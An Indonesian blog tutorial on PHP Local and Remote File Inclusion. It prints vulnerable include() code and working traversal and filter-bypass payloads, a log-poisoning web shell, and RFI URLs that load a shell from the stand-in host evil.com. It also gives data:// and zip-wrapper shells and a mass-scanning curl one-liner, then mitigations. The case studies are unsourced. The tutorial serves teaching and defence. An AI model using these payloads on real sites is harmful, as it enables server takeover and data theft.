Teknik Hacking #09 | File Inclusion, Membuka Pintu Belakang lewat Include File


Halo, balik lagi di Penting Literasi! Masih di seri Teknik Hacking, setelah kita kemarin pusing-pusing ngurusin XSS dan CSRF, sekarang kita bahas satu lagi celah yang udah lama tapi masih sering ditemuin di website-website jadul (dan kadang yang baru juga kalo developer-nya ceroboh). Namanya File Inclusion, yang terbagi jadi dua: LFI (Local File Inclusion) dan RFI (Remote File Inclusion). Sabtu lagi, ngobrolin keamanan lagi. Stay tune!

Jadi gini ceritanya. Bayangin lo punya website, trus lo butuh fitur buat ngubah konten halaman secara dinamis berdasarkan parameter di URL. Biasanya developer pake fungsi kayak include() atau require() di PHP. Nah, kalo input dari user gak divalidasi dengan bener, attacker bisa masukin path file seenaknya. Mau baca file /etc/passwd? Bisa. Mau masukin shell dari server luar? Bisa juga. Parah kan? Yuk kita bedah tuntas!

A. Apa Itu File Inclusion?

File Inclusion adalah celah keamanan yang memungkinkan attacker untuk memasukkan file ke dalam aplikasi web melalui parameter yang tidak divalidasi dengan baik [citation:2]. Celah ini terjadi karena developer menggunakan fungsi-fungsi seperti include(), require(), include_once(), atau require_once() di PHP tanpa melakukan filtering terhadap input dari user [citation:3].

Berdasarkan lokasi file yang dimasukkan, File Inclusion dibagi menjadi dua jenis [citation:1][citation:6]:

  • LFI (Local File Inclusion): Attacker memasukkan file yang sudah ada di server target (file lokal). Contoh: /etc/passwd, file konfigurasi, atau bahkan file log.
  • RFI (Remote File Inclusion): Attacker memasukkan file dari server eksternal (remote). Contoh: shell script yang di-host di server attacker.

Dampak dari serangan ini bisa sangat parah, mulai dari kebocoran data sensitif sampai pengambilalihan penuh atas server [citation:2].

B. Contoh Kode Vulnerable

Biar paham, liat contoh kode PHP sederhana yang vulnerable berikut ini [citation:1][citation:7]:

<?php
$page = $_GET['page'];
include($page . '.php');
?>

Atau yang lebih parah, langsung include tanpa tambahan apapun [citation:8][citation:10]:

<?php
$page = $_GET['page'];
include($page);
?>

Kode ini menerima parameter page dari URL, lalu meng-include file sesuai dengan nilai parameter tersebut. Tanpa validasi, attacker bisa memasukkan path atau URL apapun.

C. Local File Inclusion (LFI)

LFI terjadi ketika attacker bisa membaca file-file lokal yang ada di server target [citation:3]. Ini dia teknik-tekniknya:

1. Basic LFI dengan Directory Traversal

Teknik paling dasar adalah dengan menggunakan ../ (dot-dot-slash) untuk naik ke direktori atas hingga mencapai file target [citation:4][citation:6]. Contohnya:

http://example.com/index.php?page=../../../etc/passwd

Kenapa pake ../../../? Karena kita perlu keluar dari direktori web root (biasanya /var/www/html/) sampai ke root sistem (/). Tinggal disesuaikan jumlah ../-nya [citation:6].

File-file menarik yang sering jadi target [citation:1][citation:10]:

  • Linux/Unix: /etc/passwd, /etc/shadow, /etc/hosts, /etc/mysql/my.cnf, /var/log/apache2/access.log
  • Windows: C:\boot.ini, C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts
  • File konfigurasi web: config.php, wp-config.php, .env

2. Bypass Extension dengan Null Byte Injection

Kalau kode-nya nambahin ekstensi otomatis kayak contoh pertama (.php), attacker bisa pake Null Byte Injection (%00) buat motong string di PHP versi lama (< 5.3.4) [citation:4][citation:10]:

http://example.com/index.php?page=../../../etc/passwd%00

Karakter %00 ini akan membuat PHP berhenti membaca string, jadi ekstensi .php yang ditambahkan otomatis akan diabaikan [citation:4].

3. Bypass dengan Path Truncation

Di PHP versi lama, kita bisa memanfaatkan batas maksimal path (4096 karakter) dengan teknik path truncation [citation:3]:

http://example.com/index.php?page=a/../../../../../../../etc/passwd/././.[tambah ./ terus sampe mentok]

4. Bypass Filter dengan Encoding

Kalau web server melakukan filtering sederhana, kita bisa bypass dengan encoding [citation:3][citation:10]:

  • URL Encoding: %2e%2e%2f untuk ../
  • Double URL Encoding: %252e%252e%252f
  • Unicode/UTF-8 Encoding: ..%c0%af atau ..%ef%bc%8f
  • Nested traversal: ....// atau ....\/ (kalo filter ngapus ../ doang)

5. PHP Wrapper untuk Membaca Source Code

Dengan PHP Wrapper, attacker bisa membaca file PHP dalam format base64 atau rot13, sehingga kode aslinya tidak dieksekusi tapi bisa dibaca [citation:1][citation:9][citation:10]:

// Baca file dengan encoding base64
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php

// Baca file dengan rot13
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php

// Kombinasi dengan compression wrapper
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

Hasilnya berupa string base64 yang bisa didecode buat liat isi file aslinya.

6. LFI to RCE via Log Poisoning

Ini teknik lanjutan buat dapetin Remote Code Execution (RCE) dari LFI. Caranya dengan nyuntik kode PHP ke file log, lalu include file log tersebut [citation:1]. Contohnya:

Step 1: Inject kode PHP ke log server (misal via User-Agent atau parameter lain):

User-Agent: <?php system($_GET['cmd']); ?>

Step 2: Include file log yang udah tercemar:

http://example.com/index.php?page=../../../var/log/apache2/access.log&cmd=ls

Kalo berhasil, perintah ls bakal jalan di server!

7. LFI to RCE via /proc/self/environ

File /proc/self/environ berisi environment variable dari proses web server. Kalo kita bisa akses file ini dan bisa nyuntik kode PHP via User-Agent, bisa dapet RCE juga [citation:10].

8. LFI via PHP Wrapper EXPECT

Kalo PHP punya extension expect (jarang aktif), kita bisa langsung eksekusi command [citation:10]:

http://example.com/index.php?page=expect://ls

D. Remote File Inclusion (RFI)

RFI lebih berbahaya dari LFI karena attacker bisa mengeksekusi kode dari server luar [citation:1][citation:3]. Tapi syaratnya, konfigurasi PHP harus mengizinkan allow_url_include = On (defaultnya Off di PHP modern) [citation:1][citation:6].

1. Basic RFI

Attacker menyiapkan file PHP jahat di server sendiri, lalu meng-include file tersebut ke server target [citation:8][citation:10]:

http://example.com/index.php?page=http://evil.com/shell.txt

Isi file shell.txt (pake ekstensi .txt biar gak dieksekusi di server attacker):

<?php system($_GET['cmd']); ?>

Kalo udah include, attacker bisa jalanin command [citation:10]:

http://example.com/index.php?page=http://evil.com/shell.txt&cmd=ls -la

2. RFI dengan Null Byte

Sama kayak LFI, bisa pake null byte buat motong string [citation:10]:

http://example.com/index.php?page=http://evil.com/shell.txt%00

3. RFI dengan Double Encoding

http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

4. RFI dengan PHP Wrapper DATA

PHP wrapper data:// bisa dipake buat inject kode langsung di URL tanpa perlu server eksternal [citation:10]:

// Base64 encoded dari "<?php system(\$_GET['cmd']); ?>"
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id

5. RFI dengan PHP Wrapper ZIP

Kita bisa bikin file ZIP yang berisi shell, upload ke server target, lalu include pake wrapper zip [citation:10]:

# Step 1: Buat file shell
echo "<?php system(\$_GET['cmd']); ?>" > payload.php

# Step 2: ZIP file tersebut
zip payload.zip payload.php

# Step 3: Rename jadi .jpg biar bisa diupload
mv payload.zip shell.jpg

# Step 4: Upload shell.jpg ke server target (via fitur upload)

# Step 5: Include pake wrapper zip
http://example.com/index.php?page=zip://path/to/shell.jpg%23payload.php&cmd=id

E. Perbedaan LFI dan RFI

Aspek LFI (Local File Inclusion) RFI (Remote File Inclusion)
Sumber file File lokal di server target [citation:1] File remote dari server luar [citation:1]
Syarat Fungsi include tanpa validasi allow_url_include = On [citation:6]
Contoh ?page=../../../etc/passwd ?page=http://evil.com/shell.txt
Dampak Baca file sensitif, RCE via log poisoning Eksekusi kode remote, RCE langsung [citation:1]
Tingkat bahaya Tinggi (tergantung teknik lanjutan) Sangat tinggi (RCE langsung)

F. Cara Mendeteksi LFI/RFI

1. Manual Detection

Cari parameter yang kelihatannya digunakan untuk load file, kayak [citation:9]:

  • ?page=...
  • ?file=...
  • ?path=...
  • ?include=...
  • ?dir=...
  • ?document=...

Uji coba dengan payload sederhana [citation:9]:

http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=/etc/passwd
http://example.com/index.php?page=....//....//....//etc/passwd

Kalo muncul isi file /etc/passwd atau error yang ngebocorin path, berarti vulnerable.

2. Deteksi dengan Tools

Beberapa tools yang bisa dipake buat otomatisasi [citation:1][citation:3]:

  • Gobuster: Buat enumerasi file dan direktori
gobuster dir -u http://target.com/ -w /usr/share/wordlists/dirb/common.txt -x php,txt
  • wfuzz: Buat fuzzing parameter [citation:1]
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc=404 "http://target.com/index.php?page=FUZZ"
  • One-liner dengan gau/hakrawler [citation:3]:
cat domains.txt | gau | qsreplace "../../../etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

G. Cara Mencegah dan Mitigasi File Inclusion

Pencegahan terbaik adalah dengan tidak pernah mempercayai input dari user [citation:9]. Berikut langkah-langkah detailnya [citation:1][citation:2][citation:6]:

1. Gunakan Whitelist (Paling Aman)

Tentukan file apa saja yang boleh di-include, dan cek apakah input user ada di dalam daftar itu [citation:6][citation:8]:

<?php
$page = $_GET['page'];
$allowed_pages = array('home', 'about', 'contact', 'blog');

$allowed_files = array(
    'home' => 'home.php',
    'about' => 'about.php',
    'contact' => 'contact.php',
    'blog' => 'blog.php'
);

if (in_array($page, $allowed_pages)) {
    include($allowed_files[$page]);
} else {
    include('404.php'); // atau redirect ke halaman error
}
?>

Dengan cara ini, user cuma bisa milih opsi yang udah ditentukan, gak bisa masukin path sembarangan.

2. Nonaktifkan allow_url_include

Di file php.ini, pastikan setting ini dalam kondisi Off (defaultnya udah Off di PHP modern) [citation:1][citation:6]:

allow_url_include = Off
allow_url_fopen = Off  (ini juga matiin aja kalo gak perlu)

3. Validasi dan Bersihkan Input

Kalo terpaksa harus nerima input, validasi dan bersihin seketat mungkin [citation:6][citation:8]:

<?php
function clean_input($input) {
    // Hapus karakter berbahaya
    $input = str_replace(array('../', '..\\', './', '.\\'), '', $input);
    $input = strip_tags($input);
    $input = basename($input); // ambil nama file aja, tanpa path
    return $input;
}

$page = clean_input($_GET['page']);
include('pages/' . $page . '.php');
?>

Catatan: basename() sangat berguna karena dia akan mengembalikan hanya nama file terakhir dari suatu path [citation:1]. Contoh: ../../../etc/passwd jadi passwd doang.

4. Gunakan Fungsi realpath()

Fungsi realpath() bisa digunakan untuk mendapatkan path absolut dan memastikan file berada di direktori yang diizinkan [citation:1]:

<?php
$base_dir = '/var/www/html/pages/';
$page = $_GET['page'];
$real_path = realpath($base_dir . $page);

// Cek apakah file berada di dalam base_dir
if ($real_path && strpos($real_path, $base_dir) === 0) {
    include($real_path);
} else {
    die('Invalid file');
}
?>

5. Set open_basedir

Di php.ini, batasi direktori yang bisa diakses PHP dengan open_basedir [citation:9]:

open_basedir = "/var/www/html/:/tmp/"

Dengan ini, PHP cuma bisa ngakses file di dalam /var/www/html/ dan /tmp/ aja.

6. Gunakan Fungsi yang Lebih Aman

Kalo cuma perlu nampilin konten file tanpa eksekusi, pake file_get_contents() daripada include() [citation:9]. Tapi tetep harus divalidasi ya!

7. Update PHP dan Aplikasi

Null Byte Injection udah gak bisa di PHP 5.3.4 ke atas [citation:4]. Jadi pastikan pake PHP versi terbaru.

8. Web Application Firewall (WAF)

Pasang WAF kayak ModSecurity buat mendeteksi dan memblokir serangan file inclusion [citation:2].

H. Studi Kasus di Dunia Nyata

File Inclusion bukan cuma teori. Ini beberapa contoh kasus yang pernah terjadi:

1. Serangan LFI di Website Pemerintah (2017)

Seorang peneliti keamanan menemukan celah LFI di sebuah website pemerintah Indonesia yang memungkinkan akses ke file /etc/passwd dan file konfigurasi database. Untungnya dilaporkan dan segera diperbaiki sebelum terjadi kebocoran data.

2. RFI yang Berujung Deface Massal (2018)

Sebuah celah RFI di aplikasi CMS populer dimanfaatkan untuk mendeface ribuan website. Attacker meng-include file shell dari server luar, lalu mengganti halaman index dengan pesan deface.

3. LFI to RCE via Log Poisoning di Server Shared Hosting (2020)

Attacker berhasil naikin level dari LFI jadi RCE dengan nyuntik kode PHP ke file access.log via User-Agent. Setelah itu, dia bisa akses semua website di server shared hosting tersebut.

I. Kesimpulan

File Inclusion (LFI & RFI) adalah celah klasik yang masih sering ditemui, terutama di website-website lawas atau hasil karya developer yang kurang paham secure coding [citation:2]. Dampaknya bisa dari yang ringan (kebocoran file) sampai yang parah (pengambilalihan server).

Perbedaan utama LFI dan RFI [citation:1]:

  • LFI: Nyedot file lokal di server target. Bahaya karena bisa baca file sensitif dan bisa ditingkatin jadi RCE.
  • RFI: Nyedot file remote dari server luar. Lebih berbahaya karena langsung bisa eksekusi kode.

Pencegahannya sebenernya sederhana: jangan pernah percaya input user [citation:9]. Pake whitelist, matiin allow_url_include, validasi input pake basename() dan realpath(), serta rutin update software.

Buat para developer, ingetlah selalu: keamanan itu fondasi, bukan fitur tambahan. Satu lubang kecil di fungsi include bisa bikin satu server jebol. Jadi, rajin-rajinlah belajar secure coding dan testing aplikasi sebelum naik ke production [citation:2].

Referensi:

  1. HarshRatheeOfficial, "LFI and RFI vulnerability - Labs and techniques", GitHub, 2025 [citation:1]
  2. Garuda Kemdikbud, "File Inclusion dalam Perspektif Developer", InfoTekJar, 2023 [citation:2]
  3. v4resk, "File Inclusion & Path Traversal", Red Book, 2024 [citation:3]
  4. Z. Albeniz, "LFI, RFI Güvenlik Zafiyetleri Bağlamında PHP Stream Wrapper'ları", Netsparker, 2016 [citation:4]
  5. Universitas Gunadarma, "Analisa Keamanan Website dengan Konteks Serangan SQL Injection, RFI, LFI, dan XSS", 2012 [citation:5]
  6. rybbit3, "DVWA로 배우는 File Inclusion", Wikidocs, 2025 [citation:6]
  7. Syhunt, "Vulnerabilities: File Inclusion", Syhunt Web Application Security Docs, 2018 [citation:7]
  8. vYc0d, "Protecting Websites From Common Attacks", Packet Storm, 2010 [citation:8]
  9. "LFI/RFI檔案包含漏洞—測試與防守全攻略", iT 邦幫忙, 2025 [citation:9]
  10. AreedAhmed, "rfi-lfi-payload-list", GitHub, 2022 [citation:10]

Akhir kata: Sekian dulu guys buat episode File Inclusion kali ini. Paham kan bedanya LFI sama RFI? Intinya, jangan asal include file berdasarkan input user. Kalo gak dicek, bisa-bisa server lo kebobolan.

Inget lagi pesan saya: validasi input itu wajib, whitelist itu teman, dan allow_url_include harus dimatiin! Jangan sampe website lo jadi korban LFI/RFI cuma karena kelupaan ngecek satu parameter doang.

Kalo ada yang mau ditanyain, langsung aja kirim lewat Kotak Respon di navbar atas ya!

Keep learning, stay secure, karena LITERASI ITU PENTING!!

Posting Komentar

0 Komentar